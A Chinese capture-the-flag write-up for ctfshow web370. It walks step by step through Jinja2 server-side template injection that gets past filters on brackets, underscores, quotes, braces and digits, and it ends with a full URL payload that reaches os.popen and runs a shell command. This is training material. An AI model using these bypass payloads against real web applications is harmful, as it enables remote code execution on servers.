SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)

news/2024/11/13 3:46:59/

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)

写在前头

由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。

但是ctfshow web入门370关相对于ctfshow web入门369关多过滤数字,就是我们不能使用数字作为索引值来获取我们想要的字符了。这时就是需要我们自己来创造数字了。

我们本篇还是先研究如何拿到本关的flag值,然后讲解绕过的原理。

实例引入

判断是否存在SSTI模板注入漏洞

由于双花括号被过滤,所以我们使用{%%}来判断。因为数字过滤了,我们也不能使用?name={%print 123%}来观察页面是否输出123来判断。

这时我们可以通过if条件来判断即:

{%if 条件%}result{%endif%}

这条语句是,如果if的条件正确,就会输出result,否则输出空。

这样的话我们传入参数?name={%if not a%}yes{%endif%},观察页面是否输出yes,如果输出yes,则代表有SSTI模板注入漏洞。
其中 语句中的a默认是false,前面加一个not就是true。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%if not a%}yes{%endif%}

在这里插入图片描述
页面输出了yes,存在SSTI模板注入漏洞。

获取数字

为了下面拼接payload方便,我们先把数字全给获取了。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%print (one,two,three,four,five,six,seven,eight,nine)%}

在这里插入图片描述

拼接payload

我们还是使用payload:

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

获取__globals__

获取下划线

我们要从lipsum|string|list中获取下划线,就需要使用pop()方法。pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。

获取pop
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set pop=dict(pop=a)|join%}
{%print pop%}

在这里插入图片描述
有了pop方法我们就可以获取下划线了。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

在这里插入图片描述
OK,拿到下划线。
接下来就可以获得__globals__了。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

在这里插入图片描述

获取os模块

获取os模块,我们是通过get方法获得的,所以我们还要获得get。

获取get
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set% get=dict(get=a)|join%}
{%print get%}

在这里插入图片描述
拿到get,开始获取os模块。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}

在这里插入图片描述
成功拿到os模块。

获取popen方法

我们还是先获取popen字段

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}

在这里插入图片描述
获取popen方法

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}

在这里插入图片描述
成功获取到popen方法。

获取flag

执行命令我们还是得先拼接命令,我们还是通过chr函数来获得命令的每个字符,我们首先还是要获得chr函数。

获取chr函数——>(lipsum|attr("__globals__")).get("__builtins__").get("chr")

获取__builtins__

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

在这里插入图片描述

获取chr函数
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

在这里插入图片描述
成功获取到chr函数。

拼接shell命令

我们使用chr()获取命令的每个字符,然后拼接起来。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

在这里插入图片描述
成功获得shell命令。

执行shell命令
获取read

由于popen方法返回的是一个file对象,所以shell命令执行的结果我们还要使用read()来读取才能看到执行结果。

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}

在这里插入图片描述

执行命令
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}

在这里插入图片描述
成功获得flag。

绕过原理

由于在我的上篇文章SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)已经做过部分绕过原理(包括 lipsum|attr()、()|join、dict()|join、lipsum|string|list的介绍)的介绍,本篇文章我们就只介绍上关没有涉及到的绕过。

dict()|join|count 或者 dict()|join|length

我们知道dict()|join是将字典中的key值进行拼接,那dict()|join|count就是得到key值后得到字符串的长度。
例如:

http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/?name={%set a=dict(aaaa=b)|join|count%}{%print a%}http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/?name={%set a=dict(aaaa=b)|join|length%}{%print a%}

在这里插入图片描述
在这里插入图片描述
这样我们就轻松的得到数字,就可以绕过数字过滤了。


http://www.ppmy.cn/news/36559.html

相关文章

Makefile第六课:Makefile变量

目录Makefile的变量前言1.变量的定义2.变量的引用3.预定义变量总结Makefile的变量 前言 学习杜老师推荐的Makefile教程视频,链接。记录下个人学习笔记,仅供自己参考。 之前有转载过杜老师的从零Makefile落地算法大项目文章,感兴趣的可以看看…

Gucci与Yuga Labs合作,探索奢侈品在元宇宙中的数字化体验

看来 Gucci 又要进军元宇宙了。这家意大利时尚巨头正在与Yuga Labs合作,探索元宇宙中时尚与娱乐的交汇点。 Gucci NFT Gucci 已经凭借其为Yuga Labs 的 10KTF 项目设计的品牌服装涉足 NFT 世界。现在,凭借这一多年战略合作伙伴关系,Gucci 将在…

linux简单使用

目录标题查看linux版本查看内核版本查看shell的类型#、$代表什么pwd打印工作目录重启和关闭linux操作系统echo #?查看ip地址用户切换远程连接(window/linux一样)修改主机名返回上一目录修改普通用户密码查看linux版本 [rootrhcsay ~]# cat /etc/redhat…

Java自定义注解的定义与使用

什么是注解?对于很多初次接触的开发者来说应该都有这个疑问?Annontation是Java5开始引入的新特征,中文名称叫注解。它提供了一种安全的类似注释的机制,用来将任何的信息或元数据(metadata)与程序元素&#…

6自由度串联机械臂实现电磁铁搬运功能

1. 功能描述 R323样机是一款拥有6自由度的串联机械臂。本文提供的示例所实现的功能为:在6自由度串联机械臂样机上安装电磁铁,底座上安装近红外传感器,当检测到有物品时,实现机械臂电磁铁搬运物品的功能。 ​ 2. 电子硬件 在这个示…

vue项目使用Print.js插件实现PDF文件打印

一,Print.js介绍 Print.js主要是为了帮助我们在应用程序中直接打印PDF文件,而不需要离开界面,也不需要使用嵌入。对于用户不需要打开或下载PDF文件的特殊情况,只需要打印即可。 例如,当用户请求打印在服务器端生成的报…

如何把ntfs改成苹果电脑使用及mac写入ntfs硬盘软件教程

ntfs是一种功能强大的文件系统,该格式的文件系统具有存储空间大,传输单个文件能力强,安全系数高等诸多优点,被广泛应用在移动硬盘中。但ntfs格式硬盘,不能在mac中被正常读写,那么ntfs怎么在mac使用&#xf…

leetcode 汉诺塔问题(面试题)

题目 在经典汉诺塔问题中,有 3 根柱子及 N 个不同大小的穿孔圆盘,盘子可以滑入任意一根柱子。一开始,所有盘子自上而下按升序依次套在第一根柱子上(即每一个盘子只能放在更大的盘子上面)。移动圆盘时受到以下限制: (1) 每次只能移动一个盘子;…